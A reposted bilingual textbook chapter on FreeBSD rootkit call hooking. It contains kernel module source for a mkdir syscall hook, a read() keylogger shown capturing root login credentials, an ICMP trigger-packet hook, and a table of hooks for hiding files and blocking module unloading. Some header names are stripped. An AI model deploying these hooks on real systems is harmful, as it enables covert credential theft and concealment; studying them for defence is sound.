Chinaunix首页 | 论坛 | 博客
  • 博客访问: 19269467
  • 博文数量: 7460
  • 博客积分: 10434
  • 博客等级: 上将
  • 技术积分: 78178
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-02 22:54
文章分类

全部博文(7460)

文章存档

2011年(1)

2009年(669)

2008年(6790)

分类: BSD

2008-03-20 17:10:33

2挂钩
2.1 系统调用挂钩
2.2 击键记录
2.3 进程追踪
2.4 常用的系统调用挂钩
2.5 通信协议
    2.5.1 protosw 结构
    2.5.2 inetsw[] 转换表
    2.5.3 mbuf
2.6 通信协议挂钩
2.7 小结





2
HOOKING
挂钩

We’ll start our discussion of kernel-mode rootkits with call hooking, or simply hooking, which is arguably the most popular technique.

我们将开始探讨使用了调用挂钩或普通挂钩技术的内核模式rootkit。挂钩无疑是最流行的rootikit技术。


Hooking is a programming technique that employs handler functions (called hooks) to modify control flow. A hook registers its address as the location for a specific function, so that when that function is called, the hook is run instead. Typically, a hook will call the original function at some point in order to preserve the original behavior. Figure 2-1 illustrates the control flow of a subroutine before and after installing a call hook.

挂钩是一种使用处理程序(叫做挂钩)来修改控制流的编程技术。新的挂钩把它的地址注册为特定函数的地址,这样当那个函数被调用时,挂钩程序就代替它运行。一般,挂钩还会调用原先的函数,目的是维为了持原来的行为。图2-1描绘了调用挂钩在前和安装后,一个子程序的控制流。



Normal Execution                        Hooked Execution
Function A----->Function B     Function A----->Hook------>Function B




Figure 2-1: Normal execution versus hooked execution

As you can see, hooking is used to extend (or decrease) the functionality of a subroutine. In terms of rootkit design, hooking is used to alter the results of the operating system’s application programming interfaces (APIs), most commonly those involved with bookkeeping and reporting.

可以看出,挂钩可用来扩展(或削弱)一个子程序的功能。挂钩可按照rootkit的设计目的来修改操作系统的应用程序编程接口(API)的运行效果。通常,我们关心的是那些有记录和报告功能的API。


Now, let’s start abusing the KLD interface.
现在,我们玩弄玩弄KLD接口。



2.1 Hooking a System Call
2.1 系统调用挂钩

Recall from Chapter 1 that a system call is the entry point through which an application program requests service from the operating system’s . By hooking these entry points, a rootkit can alter the data the kernel returns to any or every user space process. In fact, hooking system calls is so effective that most (publicly available) rootkits employ it in some way.

第一章提到,系统调用是一种入口点,应用程序通过它向操作系统请求服务。通过挂住这些入口点,rootkit就能改变内核返回给某个或所有用户空间进程的数据。实际上,系统调用挂钩非常地有效,以至被大多数(可公开获取到的)rootkit在某种程度上都使用到了。


In , a system call hook is installed by registering its address as the system call function within the target system call’s sysent structure (which is located within sysent[]).
在FreeBSD中,系统调用挂钩是通过把它的地址代替系统调用函数注册到目标系统调用的systen结构体内而实现的。(sysent结构位于sysent[]中)

NOTE For more on system calls, see Section 1.4.
提示 了解更多系统调用的信息,请看章节1.4


Listing 2-1 is an example system call hook (albeit a trivial one) designed to output a debug message whenever a user space process calls the mkdir system call—in other words, whenever a directory is created.

清单2-1是一个系统调用挂钩(尽管没什么应用价值)的例子。设计目的是,每当用户空间进程调用mkdir这个系统调用,换句话说,就是每当一个目录被创建时,都会输出一条调试的信息。



--------------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include
#include
#include

/* mkdir system call hook. */
/* mkdir 系统调用挂钩 */
static int
mkdir_hook(struct thread *td, *syscall_args)
{
    struct mkdir_args /* {
        char *path;
        int mode;
    } */ *uap;
    uap = (struct mkdir_args *)syscall_args;

    char path[255];
    size_t done;
    int error;

    error = copyinstr(uap->path, path, 255, &done);
    if (error != 0)
        return(error);

    /* Print a debug message. */
    /* 打印一条调试信息 */
    uprintf("The directory \"%s\" will be created with the following"
        " permissions: %o\n", path, uap->mode);

    return(mkdir(td, syscall_args));
}

/* The function called at load/unload. */
/* 模块加载/卸载时调用该函数 */
static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        /* Replace mkdir with mkdir_hook. */
        /* 用 mkdir_hook 替代 mkdir */
         /*1*/ sysent[ /*2*/ SYS_mkdir].sy_call = (sy_call_t *)mkdir_hook;
        break;

    case MOD_UNLOAD:
        /* Change everything back to normal. */
        /* 把一切还原为原先那样 */
        /*3*/ sysent[SYS_mkdir].sy_call = (sy_call_t *)mkdir;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

static moduledata_t mkdir_hook_mod = {
    "mkdir_hook",     /* module name */
    load,         /* event handler */
    NULL         /* extra data */
};

DECLARE_MODULE(mkdir_hook, mkdir_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

--------------------------------------------------------------------------------

Listing 2-1: mkdir_hook.c
清单 2-1: mkdir_hook.c
 
Notice that upon module load, the event handler /*1*/ registers mkdir_hook (which simply prints a debug message and then calls mkdir) as the mkdir system call function. This single line installs the system call hook. To remove the hook, simply /*2*/ reinstate the original mkdir system call function upon module unload.

注意 在模块加载时,事件处理程序把mkdir系统调用替换为mkdir_hook(它简单打印一条调试信息,然后调用mkdir)。这行安装一个系统挂钩。为了移除挂钩,在模块卸载时恢复原先的mkdir系统调用即可。


1
NOTE The constant  /*3*/ SYS_mkdir is defined as the offset value for the mkdir system call.  This constant is defined in the header, which also contains a complete listing of all in-kernel system call numbers.

注意 常数SYS_mkdir 是作为mkdir系统调用的偏移值定义的。它定义在头文件中。这个也包含了内核中所有的系统调用号的完整清单。


The following output shows the results of executing mkdir(1) after loading mkdir_hook.

下面的输出显示了加载了mkdir_hook后执行mkdir(1)的结果。

--------------------------------------------------------------------------------
$ sudo kldload ./mkdir_hook.ko
$ mkdir test
The directory "test" will be created with the following permissions: 777
$ ls –l
. . .
drwxr-xr-x 2 ghost ghost 512 Mar 22 08:40 test
--------------------------------------------------------------------------------
As you can see, mkdir(1) is now a lot more verbose.1

可以看到,mkdir(1)命令输出了很长的信息。






2.2 Keystroke Logging
2.2 击键记录


Now let’s look at a more interesting (but still somewhat trivial) example of a
system call hook.

现在我们看一个更有趣(但还不够那么实用)的系统挂钩的示例。


Keystroke logging is the simple act of intercepting and capturing a user’s
keystrokes. In FreeBSD, this can be accomplished by hooking the read system
call.2 As its name implies, this call is responsible for reading in input. Here is
its C library definition:

击键记录是一种截取和记录用户击键的简单动作。在FressBSD中,这可以通过挂住read系统调用来实现。顾名思义,这个系统调用负责从输入读取数据。C库中,它定义为:

--------------------------------------------------------------------------------
#include
#include
#include

ssize_t
read(int fd, void *buf, size_t nbytes);
--------------------------------------------------------------------------------

The read system call reads in nbytes of data from the object referenced by
the descriptor fd into the buffer buf. Therefore, in order to capture a user’s
keystrokes, you simply have to save the contents of buf (before returning
from a read call) whenever fd points to standard input (i.e., file descriptor 0).
For example, take a look at Listing 2-2:

这个read系统调用从由描述符fd指定的对象读取nbytes数量的数据到缓冲buf中。所以,为了捕捉用户的击键,你只要在每次fd指向标准输入时(也就是说,文件描述符 0),把buf的内容保存下来的行了(在read返回前)。我们看看清单2-2这个例子:

--------------------------------------------------------------------------------

#include
#include
#include
#include
#include
#include
#include
#include
#include

/*
* read system call hook.
* Logs all keystrokes from stdin.
* Note: This hook does not take into account special characters, such as
* Tab, Backspace, and so on.
*/


/*
* read系统调用挂钩
* 从stdin记录所有的击键
* s注意:这个挂钩没有考虑特殊字母,比如
* Tab, Backspace,等等
*/



------------

1 For you astute readers, yes, I have a umask of 022, which is why the permissions for “test” are 755, not 777.
1 机灵的你可能注意到了,是的,我的umask是022,这是"test"的permission是755而不是777的原因。

2 Actually, to create a full-fledged keystroke logger, you would have to hook read, readv, pread,
and preadv.
2 实际上,为了写一个完全成形的击键记录器,你还得挂住read,readv,pread,和preadv。



static int
read_hook(struct thread *td, void *syscall_args)
{
    struct read_args /* {
        int fd;
        void *buf;
        size_t nbyte;
    } */ *uap;
    uap = (struct read_args *)syscall_args;

    int error;
    char buf[1];
    int done;

     /*1*/ error = read(td, syscall_args);

    /*2*/ if (error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0))
        /*3*/ return(error);

    /*4*/ copyinstr(uap->buf, buf, 1, &done);
    printf("%c\n", buf[0]);

    return(error);
}

/* The function called at load/unload. */
/* 模块加载/卸载时调用该函数 */
static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        /* Replace read with read_hook. */
        /* 用read_hook代替read */
        sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
        break;

    case MOD_UNLOAD:
        /* Change everything back to normal. */
        /* 把一切还原如初 */
        sysent[SYS_read].sy_call = (sy_call_t *)read;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

static moduledata_t read_hook_mod = {
    "read_hook",    /* module name */
    load,         /* event handler */
    NULL         /* extra data */
};

DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

--------------------------------------------------------------------------------

Listing 2-2: read_hook.c
清单 2-2: read_hook.c

In Listing 2-2 the function read_hook first  /*1*/ calls read to read in the data from fd. If this data is /*2*/ not a keystroke (which is defined as one character or one byte in size) originating from standard input, then /*3*/ read_hook returns. Otherwise, the data (i.e., keystroke) is /*4*/ copied into a local buffer, effectively “capturing” it.

清单2-2中,函数read_hook 首先调用read从fd读取数据。如果这个数据不是发自标准输入的击键(它定义为一个字母或大小是1byte),则read_hook返回。否则,这个数据(也就是击键)被拷贝到本地的缓冲中,有效地"捕捉"到它了。


NOTE In the interest of saving space (and keeping things simple), read_hook simply dumps the captured keystroke(s) to the system console.

注意 为了节省空间(和让事情简单),read_hook仅仅是把捕捉到的击键dump到系统控制台中。


Here are the results from logging into a system after loading read_hook:

加载read_hook后,系统中的记录如下

--------------------------------------------------------------------------------
login: root
Password:
Last login: Mon Mar 4 00:29:14 on ttyv2
root@alpha ~# dmesg | tail -n 32
r
o
o
t
p
a
s
s
w
d
. . .
--------------------------------------------------------------------------------
As you can see, my login credentials—my username (root) and password (passwd)3—have been captured. At this point, you should be able to hook any system call. However, one question remains: If you aren’t a kernel guru, how do you determine which system call(s) to hook? The answer is: you use kernel process tracing.

你都看到了吧?我的登录验证--我的用户名(root)和密码(passwd)---已经被捕捉了。看来,你应当也能挂住任何一个系统调用。不过,还有一个问题:你还不是一位内核导师,你又怎么知道应当挂钩的是哪个(或哪些)系统调用呢?答案是:使用内核进程追踪。







2.3 Kernel Process Tracing
2.3 内核进程追踪

Kernel process tracing is a diagnostic and debugging technique used to intercept and record each kernel operation—that is, every system call, namei translation, I/O, signal processed, and context switch performed on behalf of a specific running process. In FreeBSD, this is done with the ktrace(1) and kdump(1) utilities. For example:

内核进程追踪诊断和调试的技术,用于截取和记录每步内核操作--代表特定运行进程执行的每个系统调用,namei转换,I/O,信号处理,上下文切换等。在FreeBSD,这项工作由实用工具ktrace(1)和kdump(1)完成。例如:

--------------------------------------------------------------------------------
$ ktrace ls
file1 file2 ktrace.out
$ kdump
517 ktrace RET ktrace 0


-------------------
3 Obviously, this is not my real root password.
3 很明显,这不是我真的root密码


517 ktrace CALL execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
517 ktrace NAMI "/sbin/ls"
517 ktrace RET execve -1 errno 2 No such file or directory
517 ktrace CALL execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
517 ktrace NAMI "/bin/ls"
517 ktrace NAMI "/libexec/ld-elf.so.1"
517 ls RET execve 0
. . .
517 ls CALL  /*1*/ getdirentries(0x5,0x8054000,0x1000,0x8053014)
517 ls RET getdirentries 512/0x200
517 ls CALL getdirentries(0x5,0x8054000,0x1000,0x8053014)
517 ls RET getdirentries 0
517 ls CALL /*2*/ lseek(0x5,0,0,0,0)
517 ls RET lseek 0
517 ls CALL /*3*/ close(0x5)
517 ls RET close 0
517 ls CALL /*4*/ fchdir(0x4)
517 ls RET fchdir 0
517 ls CALL close(0x4)
517 ls RET close 0
517 ls CALL fstat(0x1,0xbfbfdea0)
517 ls RET fstat 0
517 ls CALL break(0x8056000)
517 ls RET break 0
517 ls CALL ioctl(0x1,TIOCGETA,0xbfbfdee0)
517 ls RET ioctl 0
517 ls CALL write(0x1,0x8055000,0x19)
517 ls GIO fd 1 wrote 25 bytes
"file1 file2 ktrace.out
"
517 ls RET write 25/0x19
517 ls CALL exit(0)
--------------------------------------------------------------------------------


NOTE In the interest of being concise, any output irrelevant to this discussion is omitted.

注意 为了简洁,省去了与本次讨论无关的其他输出。

As the preceding example shows, the ktrace(1) utility enables kernel trace logging for a specific process [in this case, ls(1)], while kdump(1) displays the trace data.

刚才例子显示,工具ktrace(1)能让内核对指定的进程(本例是ls(1))进行跟踪记录,而kdump(1)用于显示跟踪的数据。


Notice the various system calls that ls(1) issues during its execution, such as /*1*/ getdirentries, /*2*/ lseek, /*3*/ close, /*4*/ fchdir, and so on. This means that you can affect the operation and/or output of ls(1) by hooking one or more of these calls.

注意 ls(1)在它的执行过程中调用了很多的系统调用,比如getdirentries, lseek, close, fchdir 等等。这意味着,你可以通过挂钩这些调用的中一个或多个来影响ls(1)的运作和/或输出。


The main point to all of this is that when you want to alter a specific process and you don’t know which system call(s) to hook, you just need to perform a kernel trace.

所有这些说明一点,当你想去改变特定的进程而你不知道该挂钩哪个或哪些系统调用是,你只需执行一次内核跟踪即可。




2.4 Common System Call Hooks
2.4 常用的系统调用挂钩

For the sake of being thorough, Table 2-1 outlines some of the most common system call hooks.

为了一个全面的了解,表格2-1概括了一些常用的系统调用挂钩

Table 2-1: Common System Call Hooks
表格 2-1: 常用的系统调用挂钩

--------------------------------------------------------------------------------
System Call                 Purpose of Hook
--------------------------------------------------------------------------------
read, readv, pread, preadv         Logging input
write, writev, pwrite, pwritev         Logging output
open                     Hiding file contents
unlink                     Preventing file removal
chdir                     Preventing directory traversal
chmod                     Preventing file mode modification
chown                     Preventing ownership change
kill                     Preventing signal sending
ioctl                     Manipulating ioctl requests
execve                     Redirecting file execution
rename                     Preventing file renaming
rmdir                     Preventing directory removal
stat, lstat                 Hiding file status
getdirentries                 Hiding files
truncate                 Preventing file truncating or extending
kldload                 Preventing module loading
kldunload                 Preventing module unloading
--------------------------------------------------------------------------------

--------------------------------------------------------------------------------
系统调用                 挂钩目的
--------------------------------------------------------------------------------
read, readv, pread, preadv         输入记录
write, writev, pwrite, pwritev         输出记录
open                     隐藏文件内容
unlink                     禁止删除文件
chdir                     禁止切换目录
chmod                     禁止修改文件属性
chown                     禁止修改所有者
kill                     禁止信号传递
ioctl                     操作ioctl 请求
execve                     重定向文件的执行
rename                     禁止重命名文件
rmdir                     禁止删除目录
stat, lstat                 隐藏文件状态
getdirentries                 隐藏文件
truncate                 禁止文件截短或扩展
kldload                 禁止加载模块
kldunload                 禁止卸载模块
--------------------------------------------------------------------------------

Now let’s look at some of the other kernel functions that you can hook.

现在我们看看其他能挂钩的内核函数。





2.5 Communication Protocols
2.5 通信协议

As its name implies, a communication protocol is a set of rules and conventions used by two communicating processes (for example, the TCP/IP protocol suite). In FreeBSD, a communication protocol is defined by its entries in a protocol switch table. As such, by modifying these entries, a rootkit can alter the data sent and received by either communication endpoint. To better illustrate this “attack,” allow me to digress.

顾名思义,通信协议是通信双方(例如,TCP/IP协议组)使用的一组规则或协定。在FreeBSD中,通信协议通过它 的入口定义在一个协议转换表内。同样的,通过修改这些入口,rootkit可以修改由通信终端任何一方发送或接受的数据。为了更好的演示这样的"攻击", 原谅我偏题了。



2.5.1 The protosw Structure
2.5.1 protosw 结构

The context of each protocol switch table is maintained in a protosw structure, which is defined in the header as follows:

每个通信协议转换表的上下文保存在protosw结构体中。protosw结构提在头文件定义如下:

--------------------------------------------------------------------------------
struct protosw {
    short         pr_type;     /* socket type */
    struct domain     *pr_domain;     /* domain protocol */
    short         pr_protocol;     /* protocol number */
    short         pr_flags;
/* protocol-protocol hooks */
    pr_input_t     *pr_input;     /* input to protocol (from below) */
    pr_output_t     *pr_output;     /* output to protocol (from above) */
    pr_ctlinput_t     *pr_ctlinput;     /* control input (from below) */
    pr_ctloutput_t     *pr_ctloutput;     /* control output (from above) */
/* user-protocol hook */
    pr_usrreq_t     *pr_ousrreq;
/* utility hooks */
    r_init_t         *pr_init;
    pr_fasttimo_t         *pr_fasttimo;     /* fast (200ms) */
    pr_slowtimo_t         *pr_slowtimo;     /* slow timeout (500ms) */
    pr_drain_t         *pr_drain;     /* flush any excess space possible */

    struct pr_usrreqs *pr_usrreqs;     /* supersedes pr_usrreq() */
};
--------------------------------------------------------------------------------

Table 2-2 defines the entry points in struct protosw that you’ll need to know in order to modify a communication protocol.

表格 2-2 是protosw结构体内一些入口点的说明。这些入口点你必须熟悉,这样才能够修改一个通信协议。

Table 2-2: Protocol Switch Table Entry Points
表格 2-2: 协议转换表入口点

--------------------------------------------------------------------------------
Entry Point     Description
pr_init     Initialization routine
pr_input     Pass data up toward the user
pr_output     Pass data down toward the network
pr_ctlinput     Pass control information up
pr_ctloutput     Pass control information down
--------------------------------------------------------------------------------

--------------------------------------------------------------------------------
入口点         描述
pr_init     初始化例程
pr_input     把数据向上传递给用户
pr_output     把数据向下传递给网络
pr_ctlinput     向上传递控制信息
pr_ctloutput     向下传递控制信息
--------------------------------------------------------------------------------


2.5.2 The inetsw[] Switch Table
2.5.2 inetsw[] 转换表

Each communication protocol’s protosw structure is defined in the file /sys/netinet/in_proto.c. Here is a snippet from this file:

每一个通信协议的protosw结构体定义在文件/sys/netinet/in_proto.c 中。下面是这个文件的片段:

--------------------------------------------------------------------------------
struct protosw /*1*/ inetsw[] = {
{
    .pr_type =         0,
    .pr_domain =         &inetdomain,
    .pr_protocol =         IPPROTO_IP,
    .pr_init =         ip_init,
    .pr_slowtimo =         ip_slowtimo,
    .pr_drain =         ip_drain,
    .pr_usrreqs =         &nousrreqs
},
{
    .pr_type =         SOCK_DGRAM,
    .pr_domain =         &inetdomain,
    .pr_protocol =         IPPROTO_UDP,
    .pr_flags =         PR_ATOMIC|PR_ADDR,
    .pr_input =         udp_input,
    .pr_ctlinput =         udp_ctlinput,
    .pr_ctloutput =     ip_ctloutput,
    .pr_init =         udp_init,
    .pr_usrreqs =         &udp_usrreqs
},
{
    .pr_type =         SOCK_STREAM,
    .pr_domain =         &inetdomain,
    .pr_protocol =         IPPROTO_TCP,
    .pr_flags =         PR_CONNREQUIRED|PR_IMPLOPCL|PR_WANTRCVD,
    .pr_input =         tcp_input,
    .pr_ctlinput =         tcp_ctlinput,
    .pr_ctloutput =     tcp_ctloutput,
    .pr_init =         tcp_init,
    .pr_slowtimo =         tcp_slowtimo,
    .pr_drain =         tcp_drain,
    .pr_usrreqs =         &tcp_usrreqs
},
. . .
--------------------------------------------------------------------------------

Notice that every protocol switch table is defined within /*1*/ inetsw[]. This means that in order to modify a communication protocol, you have to go through inetsw[].

我们注意到所有的协议转换表都定义在inetsw[]内部。这意味着,想要修改一个通信协议,你必须要借助inetsw[]。




2.5.3 The mbuf Structure
2.5.3 mbuf 结构体

Data (and control information) that is passed between two communicating processes is stored within an mbuf structure, which is defined in the header. To be able to read and modify this data, there are two fields in struct mbuf that you’ll need to know: m_len, which identifies the amount of data contained within the mbuf, and m_data, which points to the data.

在两个通信进程之间传递的数据(还有控制信息)保存在一个mbuf结构内。mbuf定义在头文件。为了读取和修改数据,mbuf结构体有两个域我们要了解: m_len, 标志包含在mbuf中的数据数量;m_data,它指向数据。



2.6 Hooking a Communication Protocol
2.6 通信协议挂钩

Listing 2-3 is an example communication protocol hook designed to output a debug message whenever an Internet Control Message Protocol (ICMP) redirect for Type of Service and message containing the phrase Shiny is received.


NOTE An ICMP redirect for Type of Service and Host message contains a type field of 5 and a code field of 3.

--------------------------------------------------------------------------------
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include

#define TRIGGER "Shiny."

extern struct protosw inetsw[];
pr_input_t icmp_input_hook;

/* icmp_input hook. */
/* icmp_input 挂钩. */
void
icmp_input_hook(struct mbuf *m, int off)
{
    struct icmp *icp;
    /*1*/ int hlen = off;

    /* Locate the ICMP message within m. */
    /* 定位m 内的 ICMP 消息 . */
    /*2*/ m->m_len -= hlen;
    m->m_data += hlen;

    /* 提取 ICMP 消息. */
    /*3*/ icp = mtod(m, struct icmp *);

    /* Restore m. */
    /* 恢复 m. */
    /*4*/ m->m_len += hlen;
    m->m_data -= hlen;

    /* Is this the ICMP message we are looking for? */
    /* 这个 ICMP 消息是我们正在寻找的吗? */
    if(icp->icmp_type == ICMP_REDIRECT &&
        icp->icmp_code == ICMP_REDIRECT_TOSHOST &&
        strncmp(icp->icmp_data, TRIGGER, 6) == 0)
            /*5*/ printf("Let's be bad guys.\n");
    else
        icmp_input(m, off);
    }


/* The function called at load/unload. */
/* 加载/卸载模块时调用这个函数. */
static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    ase MOD_LOAD:
        /* Replace icmp_input with icmp_input_hook. */
        /* 用icmp_input_hook 代替 icmp_input */
        /*6*/ inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input_hook;
        break;

    case MOD_UNLOAD:
        /* Change everything back to normal. */
        /* 把一切还原如初 */
        /*7*/ inetsw[/*8*/ ip_protox[IPPROTO_ICMP]].pr_input = icmp_input;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

static moduledata_t icmp_input_hook_mod = {
    "icmp_input_hook",     /* module name 模块名称*/
    load,             /* event handler 时间处理程序*/
    NULL             /* extra data 额外数据*/
};

DECLARE_MODULE(icmp_input_hook, icmp_input_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

--------------------------------------------------------------------------------
Listing 2-3: icmp_input_hook.c
清单 2-3: icmp_input_hook.c

In Listing 2-3 the function icmp_input_hook first /*1*/ sets hlen to the received ICMP message’s IP header length (off). Next, the location of the ICMP message within m is determined; keep in mind that an ICMP message is transmitted within an IP datagram, which is why /*2*/ m_data is increased by hlen. Next, the ICMP message is /*3*/ extracted from m. Thereafter, the changes made to m are /*4*/ reversed, so that when m is actually processed, it’s as if nothing even happened. Finally, if the ICMP message is the one we are looking for, /*5*/ a debug message is printed; otherwise, icmp_input is called.


Notice that upon module load, the event handler /*6*/ registers icmp_input_hook as the pr_input entry point within the ICMP switch table. This single line installs the communication protocol hook. To remove the hook, simply /*7*/ reinstate the original pr_input entry point (which is icmp_input, in this case) upon module unload.


NOTE The value of /*8*/ ip_protox[IPPROTO_ICMP] is defined as the offset, within inetsw[], for the ICMP switch table. For more on ip_protox[], see the ip_init function in /sys/netinet/ip_input.c.


The following output shows the results of receiving an ICMP redirect for Type of Service and Host message after loading icmp_input_hook:


--------------------------------------------------------------------------------

$ sudo kldload ./icmp_input_hook.ko
$ echo Shiny. > payload
$ sudo nemesis icmp -i 5 -c 3 -P ./payload -D 127.0.0.1
ICMP Packet Injected
$ dmesg | tail -n 1
Let's be bad guys.

--------------------------------------------------------------------------------

Admittedly, icmp_input_hook has some flaws; however, for the purpose of demonstrating a communication protocol hook, it’s more than sufficient.

无可否认,icmp_input_hook 有些缺陷;但是,对于演示一个通信协议挂钩的目的而言,它已经足够了。


If you are interested in fixing up icmp_input_hook for use in the real world, you only need to make two additions. First, make sure that the IP datagram actually contains an ICMP message before you attempt to locate it. This can be achieved by checking the length of the data field in the IP header. Second, make sure that the data within m is actually there and accessible. This can be achieved by calling m_pullup. For example code on how to do both of these things, see the icmp_input function in /sys/netinet/ip_icmp.c.

如果你有兴趣修正 icmp_input_hook ,让它能在实际世界中使用,你只需要完成另外两点。首先,在你试图定位ICMP 消息前,确认IP 数据报确实包含有ICMP 消息。这点可以通过检查IP头中数据域的长度来实现。第二,确认m内的数据确实存在并且是可以访问的。这点可以通过调用m_pullup 来实现。至于完成这两件事情的示例代码,可以查看/sys/netinet/ip_icmp.c 中的icmp_input 函数。



2.7 Concluding Remarks
2.7 小结

As you can see, call hooking is really all about redirecting function pointers, and at this point, you should have no trouble doing that.

可以看到,调用挂钩实际上是改变函数,这样看来,你完成它应该没什么困难。


Keep in mind that there are usually a few different entry points you could hook in order to accomplish a specific task. For example, in Section 2.2 I created a keystroke logger by hooking the read system call; however, this can also be accomplished by hooking the l_read entry point in the terminal line discipline (termios)4 switch table.

要记住的是,为了完成一个特定的任务,通常存在一些不同的入口点可供你挂钩。比如,在章节2.2 中,我通过挂钩read系统调用编写了一个击键记录程序;但是,这个任务还可以通过挂钩终端线路规则(termios)转换表中的l_read 入口点来完成。


For educational purposes and just for fun, I encourage you to try to hook the l_read entry point in the termios switch table. To do so, you’ll need to be familiar with the linesw[] switch table, which is implemented in the file /sys/kern/tty_conf.c, as well as struct linesw, which is defined in the header.

本着教育的目的或着仅 仅是为了好玩,我鼓励你尝试挂钩终端线路规则转换表中的l_read 入口点。要实现这点,你得熟悉linesw[]转换表。linesw[]实现在文件/sys/kern/tty_conf.c 中。还得熟悉linesw 结构,它定义在头文件 中。


NOTE This hook entails a bit more work than the ones shown throughout this chapter.

提示 相对于本章演示的其他挂钩,这个挂钩需要稍微更多的工作。

--------------------------
4 The terminal line discipline (termios) is essentially the data structure used to process communication with a terminal and to describe its state.

4 终端线路规则(termios)本质上是用于处理关于终端的通讯以及描述它状态的数据结构
阅读(1206) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~